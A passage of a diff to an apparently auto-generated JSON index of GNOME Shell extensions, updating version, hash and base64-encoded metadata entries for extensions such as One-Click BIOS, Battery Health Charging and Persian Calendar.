IGRlZmluZSBhIGxpc3Qgb2YgYXBwcyB0aGF0IHNob3VsZCBiZSBsZWZ0IGFsb25lIGJ5IHRoaXMgZXh0ZW5zaW9uICh0aGUgJ2lnbm9yZSBsaXN0JykuXG4tIFlvdSBjYW4gZGVmaW5lIGEgbGlzdCBvZiBhcHBzIHRoYXQgc2hvdWxkIGZvcmNpYmx5IGJlIGtlcHQgaW4gcGxhY2UgKHRoZSAnZm9yY2UgbGlzdCcpLlxuXG5Ob3RlIHRoYXQgT25lIFdpbmRvdyBXb25kZXJsYW5kIGxlYXZlcyB3aW5kb3dzIGFsb25lIGFmdGVyIHRoZXkndmUgYmVlbiBjcmVhdGVkIG9yIG1vdmVkIHRvIGFub3RoZXIgbW9uaXRvci4gWW91IGFyZSBmcmVlIHRvIHJlc2l6ZSB0aGVtIGFzIHlvdSBzZWUgZml0LCBvciBhZGQgdGhlbSB0byB0aGUgZm9yY2UgbGlzdCB0byBrZWVwIHRoZW0gaW4gcGxhY2UuIiwKICAibmFtZSI6ICJPbmUgV2luZG93IFdvbmRlcmxhbmQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vanFuby9nbm9tZS1vbmUtd2luZG93LXdvbmRlcmxhbmQvIiwKICAidXVpZCI6ICJnbm9tZS1vbmUtd2luZG93LXdvbmRlcmxhbmRAanFuby5ubCIsCiAgInZlcnNpb24iOiAxNgp9"}
   }}
 , {"uuid": "otp-keys@osmank3.net", "name": "OTP keys", "pname": "otp-keys", "description": "Show and copy otp keys", "link": "https://extensions.gnome.org/extension/5697/otp-keys/", "shell_version_map": {
     "42": {"version": "24", "sha256": "078l15d8vwsyx16mcs5xzcnvhagpyknxpm3lrd9r8wh1afzdiscz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgYW5kIGNvcHkgb3RwIGtleXMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJvdHAta2V5cyIsCiAgIm5hbWUiOiAiT1RQIGtleXMiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMub3RwLWtleXMiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQyIiwKICAgICI0MyIsCiAgICAiNDQiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9vc21hbmszL290cC1rZXlzIiwKICAidXVpZCI6ICJvdHAta2V5c0Bvc21hbmszLm5ldCIsCiAgInZlcnNpb24iOiAyNAp9"},
@@ -6532,10 +6547,11 @@
     "47": {"version": "74", "sha256": "14qmvh2yimlfs4cnh7rv6b22ddk9bb5gvm1rwvzw6xg85jb0ssr8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNldCBiYXR0ZXJ5IGNoYXJnaW5nIHRocmVzaG9sZCAvIGNoYXJnaW5nIGxpbWl0IC8gY2hhcmdpbmcgbW9kZVxuQmF0dGVyeSBIZWFsdGggQ2hhcmdpbmc6IEFuIGV4dGVuc2lvbiB0byBtYXhpbWl6ZSB0aGUgYmF0dGVyeSBsaWZlIG9mIGxhcHRvcHMgYnkgc2V0dGluZyB0aGVpciBjaGFyZ2luZyB0aHJlc2hvbGQgb3IgbW9kZXMuXG5cbkNvbXBhdGliaWxpdHkgKG5vIGRlcGVuZGVuY2llcyByZXF1aXJlZCk6XG4tIEFzdXNcbi0gTEdcbi0gU2Ftc3VuZ1xuLSBTb255L1ZhaW9cbi0gSHVhd2VpXG4tIFRvc2hpYmEvRHluYWJvb2tcbi0gU3lzdGVtNzZcbi0gTGVub3ZvIChJZGVhcGFkLCBMZWdpb24pXG4tIFRoaW5rcGFkXG4tIFBhbmFzb25pY1xuLSBGdWppdHN1XG4tIERlbGwgKHJlY2VudCBrZXJuZWwpXG4tIENocm9tZWJvb2sgKHJlY2VudCBrZXJuZWwpXG5cbkNvbXBhdGliaWxpdHkgd2l0aCBkZXBlbmRlbmNpZXNcbi0gQWNlciAoa2VybmVsIG1vZHVsZSlcbi0gTVNJIChvbGRlciBrZXJuZWwgcmVxdWlyZXMga2VybmVsIG1vZHVsZSlcbi0gVHV4ZWRvIChrZXJuZWwgbW9kdWxlKVxuLSBTbGltYm9vayAoa2VybmVsIG1vZHVsZSlcbi0gVHV4ZWRvIEludGVsUUM3MSAoa2VybmVsIG1vZHVsZSlcbi0gWE1HIEludGVsUUM3MSAoa2VybmVsIG1vZHVsZSlcbi0gRWx1a3Ryb25pY3MgSW50ZWxRQzcxIChrZXJuZWwgbW9kdWxlKVxuLSBQdXJpc20gTGlicmVtIChrZXJuZWwgbW9kdWxlKVxuLSBHaWdhYnl0ZSBBZXJvL0FvcnVzIChrZXJuZWwgbW9kdWxlKVxuLSBEZWxsIChvbGRlciBrZXJuZWwgcmVxdWlyZXMgbGlic21iaW9zL0RlbGwgQ29tbWFuZCBDb25maWd1cmUpXG4tIEFwcGxlIE1hY2Jvb2sgSW50ZWwtc2VyaWVzIGNoaXAgKGtlcm5lbCBtb2R1bGUpXG4tIEFwcGxlIE1hY2Jvb2sgTS1zZXJpZXMgY2hpcCAoY3VzdG9tIGtlcm5lbClcbi0gUmF6ZXIgKHBhY2thZ2UgcmF6ZXItY2xpKVxuLSBGcmFtZXdvcmsgKGtlcm5lbCBtb2R1bGUgLyBwYWNrYWdlOiBmcmFtZXdvcmtfdG9vbClcbi0gQ2hyb21lYm9vayAob2xkZXIga2VybmVsIHJlcXVpcmVzIHBhY2thZ2UgZWN0b29sKVxuXG5Ob3QgYWxsIG1vZGVscyBhcmUgY29tYXB0aWJsZS4gUGxlYXNlIHJlYWQgYWJvdXQgdGhlIGNvbXBhdGliaWxpdHkgYW5kIGRlcGVuZGVuY2llcyBvZiB5b3VyIGRldmljZSBvbiBnaXRodWIgbGluayBiZWxvdy5cblxuaHR0cHM6Ly9tYW5pYWN4LmdpdGh1Yi5pby9CYXR0ZXJ5LUhlYWx0aC1DaGFyZ2luZy8iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJCYXR0ZXJ5LUhlYWx0aC1DaGFyZ2luZ0BtYW5pYWN4LmdpdGh1Yi5jb20iLAogICJuYW1lIjogIkJhdHRlcnkgSGVhbHRoIENoYXJnaW5nIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5CYXR0ZXJ5LUhlYWx0aC1DaGFyZ2luZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tYW5pYWN4L0JhdHRlcnktSGVhbHRoLUNoYXJnaW5nIiwKICAidXVpZCI6ICJCYXR0ZXJ5LUhlYWx0aC1DaGFyZ2luZ0BtYW5pYWN4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNzQKfQ=="},
     "48": {"version": "74", "sha256": "14qmvh2yimlfs4cnh7rv6b22ddk9bb5gvm1rwvzw6xg85jb0ssr8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNldCBiYXR0ZXJ5IGNoYXJnaW5nIHRocmVzaG9sZCAvIGNoYXJnaW5nIGxpbWl0IC8gY2hhcmdpbmcgbW9kZVxuQmF0dGVyeSBIZWFsdGggQ2hhcmdpbmc6IEFuIGV4dGVuc2lvbiB0byBtYXhpbWl6ZSB0aGUgYmF0dGVyeSBsaWZlIG9mIGxhcHRvcHMgYnkgc2V0dGluZyB0aGVpciBjaGFyZ2luZyB0aHJlc2hvbGQgb3IgbW9kZXMuXG5cbkNvbXBhdGliaWxpdHkgKG5vIGRlcGVuZGVuY2llcyByZXF1aXJlZCk6XG4tIEFzdXNcbi0gTEdcbi0gU2Ftc3VuZ1xuLSBTb255L1ZhaW9cbi0gSHVhd2VpXG4tIFRvc2hpYmEvRHluYWJvb2tcbi0gU3lzdGVtNzZcbi0gTGVub3ZvIChJZGVhcGFkLCBMZWdpb24pXG4tIFRoaW5rcGFkXG4tIFBhbmFzb25pY1xuLSBGdWppdHN1XG4tIERlbGwgKHJlY2VudCBrZXJuZWwpXG4tIENocm9tZWJvb2sgKHJlY2VudCBrZXJuZWwpXG5cbkNvbXBhdGliaWxpdHkgd2l0aCBkZXBlbmRlbmNpZXNcbi0gQWNlciAoa2VybmVsIG1vZHVsZSlcbi0gTVNJIChvbGRlciBrZXJuZWwgcmVxdWlyZXMga2VybmVsIG1vZHVsZSlcbi0gVHV4ZWRvIChrZXJuZWwgbW9kdWxlKVxuLSBTbGltYm9vayAoa2VybmVsIG1vZHVsZSlcbi0gVHV4ZWRvIEludGVsUUM3MSAoa2VybmVsIG1vZHVsZSlcbi0gWE1HIEludGVsUUM3MSAoa2VybmVsIG1vZHVsZSlcbi0gRWx1a3Ryb25pY3MgSW50ZWxRQzcxIChrZXJuZWwgbW9kdWxlKVxuLSBQdXJpc20gTGlicmVtIChrZXJuZWwgbW9kdWxlKVxuLSBHaWdhYnl0ZSBBZXJvL0FvcnVzIChrZXJuZWwgbW9kdWxlKVxuLSBEZWxsIChvbGRlciBrZXJuZWwgcmVxdWlyZXMgbGlic21iaW9zL0RlbGwgQ29tbWFuZCBDb25maWd1cmUpXG4tIEFwcGxlIE1hY2Jvb2sgSW50ZWwtc2VyaWVzIGNoaXAgKGtlcm5lbCBtb2R1bGUpXG4tIEFwcGxlIE1hY2Jvb2sgTS1zZXJpZXMgY2hpcCAoY3VzdG9tIGtlcm5lbClcbi0gUmF6ZXIgKHBhY2thZ2UgcmF6ZXItY2xpKVxuLSBGcmFtZXdvcmsgKGtlcm5lbCBtb2R1bGUgLyBwYWNrYWdlOiBmcmFtZXdvcmtfdG9vbClcbi0gQ2hyb21lYm9vayAob2xkZXIga2VybmVsIHJlcXVpcmVzIHBhY2thZ2UgZWN0b29sKVxuXG5Ob3QgYWxsIG1vZGVscyBhcmUgY29tYXB0aWJsZS4gUGxlYXNlIHJlYWQgYWJvdXQgdGhlIGNvbXBhdGliaWxpdHkgYW5kIGRlcGVuZGVuY2llcyBvZiB5b3VyIGRldmljZSBvbiBnaXRodWIgbGluayBiZWxvdy5cblxuaHR0cHM6Ly9tYW5pYWN4LmdpdGh1Yi5pby9CYXR0ZXJ5LUhlYWx0aC1DaGFyZ2luZy8iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJCYXR0ZXJ5LUhlYWx0aC1DaGFyZ2luZ0BtYW5pYWN4LmdpdGh1Yi5jb20iLAogICJuYW1lIjogIkJhdHRlcnkgSGVhbHRoIENoYXJnaW5nIiwKICAic2Vzc2lvbi1tb2RlcyI6IFsKICAgICJ1bmxvY2stZGlhbG9nIiwKICAgICJ1c2VyIgogIF0sCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5CYXR0ZXJ5LUhlYWx0aC1DaGFyZ2luZyIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tYW5pYWN4L0JhdHRlcnktSGVhbHRoLUNoYXJnaW5nIiwKICAidXVpZCI6ICJCYXR0ZXJ5LUhlYWx0aC1DaGFyZ2luZ0BtYW5pYWN4LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNzQKfQ=="}
   }}
-, {"uuid": "oneclickbios@sao.studio", "name": "One-Click BIOS", "pname": "one-click-bios", "description": "Restart into firmware settings directly from OS\n\nVersion 6+ (GNOME 46+):\nHold Shift and click \"Restart...\" option to trigger restart into firmware settings.\n\nVersion 4 and below (GNOME 43):\nHold Shift and click the power button in system menu to invoke restart into firmware settings dialog.\n\nAny suggestion is appreciated on GitHub!", "link": "https://extensions.gnome.org/extension/5733/one-click-bios/", "shell_version_map": {
+, {"uuid": "oneclickbios@sao.studio", "name": "One-Click BIOS", "pname": "one-click-bios", "description": "Restart into firmware settings directly from OS\n\nHold Shift and click \"Restart...\" option to trigger restart into firmware settings.\n\nAny suggestion is appreciated on GitHub!", "link": "https://extensions.gnome.org/extension/5733/one-click-bios/", "shell_version_map": {
     "43": {"version": "5", "sha256": "07r9vspq35s632j0pzywrhb8islb9fq49dv0a1s6yvp23d7bzni7", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncyBkaXJlY3RseSBmcm9tIE9TXG5cbkhvbGQgU2hpZnQgYW5kIGNsaWNrIHRoZSBwb3dlciBtZW51IGJ1dHRvbiB0byB0cmlnZ2VyIHJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncy5cblxuQW55IHN1Z2dlc3Rpb24gaXMgYXBwcmVjaWF0ZWQgb24gR2l0SHViISIsCiAgIm5hbWUiOiAiT25lLUNsaWNrIEJJT1MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQzIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbTFuaWNydXNoZXIvb25lLWNsaWNrLWJpb3MiLAogICJ1dWlkIjogIm9uZWNsaWNrYmlvc0BzYW8uc3R1ZGlvIiwKICAidmVyc2lvbiI6IDUKfQ=="},
-    "46": {"version": "7", "sha256": "0m9kv3sfl7ssfxlnr0rrjzwpcphr08j8cfyhmsdfqmcg2f6l5li1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncyBkaXJlY3RseSBmcm9tIE9TXG5cbkhvbGQgU2hpZnQgYW5kIGNsaWNrIFwiUmVzdGFydC4uLlwiIG9wdGlvbiB0byB0cmlnZ2VyIHJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncy5cblxuQW55IHN1Z2dlc3Rpb24gaXMgYXBwcmVjaWF0ZWQgb24gR2l0SHViISIsCiAgIm5hbWUiOiAiT25lLUNsaWNrIEJJT1MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3N3aW56eS9vbmUtY2xpY2stYmlvcyIsCiAgInV1aWQiOiAib25lY2xpY2tiaW9zQHNhby5zdHVkaW8iLAogICJ2ZXJzaW9uIjogNwp9"},
-    "47": {"version": "7", "sha256": "0m9kv3sfl7ssfxlnr0rrjzwpcphr08j8cfyhmsdfqmcg2f6l5li1", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncyBkaXJlY3RseSBmcm9tIE9TXG5cbkhvbGQgU2hpZnQgYW5kIGNsaWNrIFwiUmVzdGFydC4uLlwiIG9wdGlvbiB0byB0cmlnZ2VyIHJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncy5cblxuQW55IHN1Z2dlc3Rpb24gaXMgYXBwcmVjaWF0ZWQgb24gR2l0SHViISIsCiAgIm5hbWUiOiAiT25lLUNsaWNrIEJJT1MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3N3aW56eS9vbmUtY2xpY2stYmlvcyIsCiAgInV1aWQiOiAib25lY2xpY2tiaW9zQHNhby5zdHVkaW8iLAogICJ2ZXJzaW9uIjogNwp9"}
+    "46": {"version": "8", "sha256": "1vy52z2a4kkm9drmfp94xql18wibj9wwh9n3sgi3hayynnvyi10q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncyBkaXJlY3RseSBmcm9tIE9TXG5cbkhvbGQgU2hpZnQgYW5kIGNsaWNrIFwiUmVzdGFydC4uLlwiIG9wdGlvbiB0byB0cmlnZ2VyIHJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncy5cblxuQW55IHN1Z2dlc3Rpb24gaXMgYXBwcmVjaWF0ZWQgb24gR2l0SHViISIsCiAgIm5hbWUiOiAiT25lLUNsaWNrIEJJT1MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zd2luenkvb25lLWNsaWNrLWJpb3MiLAogICJ1dWlkIjogIm9uZWNsaWNrYmlvc0BzYW8uc3R1ZGlvIiwKICAidmVyc2lvbiI6IDgKfQ=="},
+    "47": {"version": "8", "sha256": "1vy52z2a4kkm9drmfp94xql18wibj9wwh9n3sgi3hayynnvyi10q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncyBkaXJlY3RseSBmcm9tIE9TXG5cbkhvbGQgU2hpZnQgYW5kIGNsaWNrIFwiUmVzdGFydC4uLlwiIG9wdGlvbiB0byB0cmlnZ2VyIHJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncy5cblxuQW55IHN1Z2dlc3Rpb24gaXMgYXBwcmVjaWF0ZWQgb24gR2l0SHViISIsCiAgIm5hbWUiOiAiT25lLUNsaWNrIEJJT1MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zd2luenkvb25lLWNsaWNrLWJpb3MiLAogICJ1dWlkIjogIm9uZWNsaWNrYmlvc0BzYW8uc3R1ZGlvIiwKICAidmVyc2lvbiI6IDgKfQ=="},
+    "48": {"version": "8", "sha256": "1vy52z2a4kkm9drmfp94xql18wibj9wwh9n3sgi3hayynnvyi10q", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncyBkaXJlY3RseSBmcm9tIE9TXG5cbkhvbGQgU2hpZnQgYW5kIGNsaWNrIFwiUmVzdGFydC4uLlwiIG9wdGlvbiB0byB0cmlnZ2VyIHJlc3RhcnQgaW50byBmaXJtd2FyZSBzZXR0aW5ncy5cblxuQW55IHN1Z2dlc3Rpb24gaXMgYXBwcmVjaWF0ZWQgb24gR2l0SHViISIsCiAgIm5hbWUiOiAiT25lLUNsaWNrIEJJT1MiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zd2luenkvb25lLWNsaWNrLWJpb3MiLAogICJ1dWlkIjogIm9uZWNsaWNrYmlvc0BzYW8uc3R1ZGlvIiwKICAidmVyc2lvbiI6IDgKfQ=="}
   }}
 , {"uuid": "auto-brightness-toggle@sao.studio", "name": "Auto Brightness Toggle", "pname": "auto-brightness-toggle", "description": "Toggle auto brightness in quick settings", "link": "https://extensions.gnome.org/extension/5736/auto-brightness-toggle/", "shell_version_map": {
     "43": {"version": "2", "sha256": "143v91wf8ymcnmibg36m3zn08h2asmyks9s5gws7hlvmamfmlx33", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlRvZ2dsZSBhdXRvIGJyaWdodG5lc3MgaW4gcXVpY2sgc2V0dGluZ3MiLAogICJuYW1lIjogIkF1dG8gQnJpZ2h0bmVzcyBUb2dnbGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQzIgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbTFuaWNydXNoZXIvYXV0by1icmlnaHRuZXNzLXRvZ2dsZSIsCiAgInV1aWQiOiAiYXV0by1icmlnaHRuZXNzLXRvZ2dsZUBzYW8uc3R1ZGlvIiwKICAidmVyc2lvbiI6IDIKfQ=="},
@@ -6646,19 +6662,19 @@
     "42": {"version": "21", "sha256": "0x3sax20l5g2za1ys9kqqjc5izsh9mqmal8vnlqnqncq6wwkg8s0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgR25vbWUgQ2FsZW5kYXIgZXh0ZW5zaW9uIHdpdGggUGVyc2lhbiB0YXN0ZSIsCiAgIm5hbWUiOiAiUGVyc2lhbiBDYWxlbmRhciIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiAiUmV6YSBNb3VzYXZpIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLlBlcnNpYW5DYWxlbmRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0lhbVJlemFNb3VzYXZpL3BlcnNpYW4tZ25vbWUtY2FsZW5kYXItZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwZXJzaWFuLWNhbGVuZGFyQGlhbXJlemFtb3VzYXZpLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAyMQp9"},
     "43": {"version": "21", "sha256": "0x3sax20l5g2za1ys9kqqjc5izsh9mqmal8vnlqnqncq6wwkg8s0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgR25vbWUgQ2FsZW5kYXIgZXh0ZW5zaW9uIHdpdGggUGVyc2lhbiB0YXN0ZSIsCiAgIm5hbWUiOiAiUGVyc2lhbiBDYWxlbmRhciIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiAiUmV6YSBNb3VzYXZpIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLlBlcnNpYW5DYWxlbmRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0lhbVJlemFNb3VzYXZpL3BlcnNpYW4tZ25vbWUtY2FsZW5kYXItZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwZXJzaWFuLWNhbGVuZGFyQGlhbXJlemFtb3VzYXZpLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAyMQp9"},
     "44": {"version": "21", "sha256": "0x3sax20l5g2za1ys9kqqjc5izsh9mqmal8vnlqnqncq6wwkg8s0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgR25vbWUgQ2FsZW5kYXIgZXh0ZW5zaW9uIHdpdGggUGVyc2lhbiB0YXN0ZSIsCiAgIm5hbWUiOiAiUGVyc2lhbiBDYWxlbmRhciIsCiAgIm9yaWdpbmFsLWF1dGhvcnMiOiAiUmV6YSBNb3VzYXZpIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLlBlcnNpYW5DYWxlbmRhciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDIiLAogICAgIjQzIiwKICAgICI0NCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0lhbVJlemFNb3VzYXZpL3BlcnNpYW4tZ25vbWUtY2FsZW5kYXItZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwZXJzaWFuLWNhbGVuZGFyQGlhbXJlemFtb3VzYXZpLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAyMQp9"},
-    "45": {"version": "29", "sha256": "09prscsx900gzkpa0hw54gys3s521fld8wif707iagl6hcylzmp8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgR25vbWUgQ2FsZW5kYXIgZXh0ZW5zaW9uIHdpdGggUGVyc2lhbiB0YXN0ZSIsCiAgImdldHRleHQtZG9tYWluIjogInBlcnNpYW4tY2FsZW5kYXJAaWFtcmV6YW1vdXNhdmkuZ21haWwuY29tIiwKICAibmFtZSI6ICJQZXJzaWFuIENhbGVuZGFyIiwKICAib3JpZ2luYWwtYXV0aG9ycyI6ICJSZXphIE1vdXNhdmkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuUGVyc2lhbkNhbGVuZGFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0lhbVJlemFNb3VzYXZpL3BlcnNpYW4tZ25vbWUtY2FsZW5kYXItZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwZXJzaWFuLWNhbGVuZGFyQGlhbXJlemFtb3VzYXZpLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAyOQp9"},
-    "46": {"version": "29", "sha256": "09prscsx900gzkpa0hw54gys3s521fld8wif707iagl6hcylzmp8", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkZvcmsgb2YgR25vbWUgQ2FsZW5kYXIgZXh0ZW5zaW9uIHdpdGggUGVyc2lhbiB0YXN0ZSIsCiAgImdldHRleHQtZG9tYWluIjogInBlcnNpYW4tY2FsZW5kYXJAaWFtcmV6YW1vdXNhdmkuZ21haWwuY29tIiwKICAibmFtZSI6ICJQZXJzaWFuIENhbGVuZGFyIiwKICAib3JpZ2luYWwtYXV0aG9ycyI6ICJSZXphIE1vdXNhdmkiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuUGVyc2lhbkNhbGVuZGFyIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0lhbVJlemFNb3VzYXZpL3BlcnNpYW4tZ25vbWUtY2FsZW5kYXItZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJwZXJzaWFuLWNhbGVuZGFyQGlhbXJlemFtb3VzYXZpLmdtYWlsLmNvbSIsCiAgInZlcnNpb24iOiAyOQp9"},
-    "47": {"version": "29", "sha256": "09prscsx900gzkpa0hw54gys3s521fld8wif707iagl6hcylzmp8", "metadata": 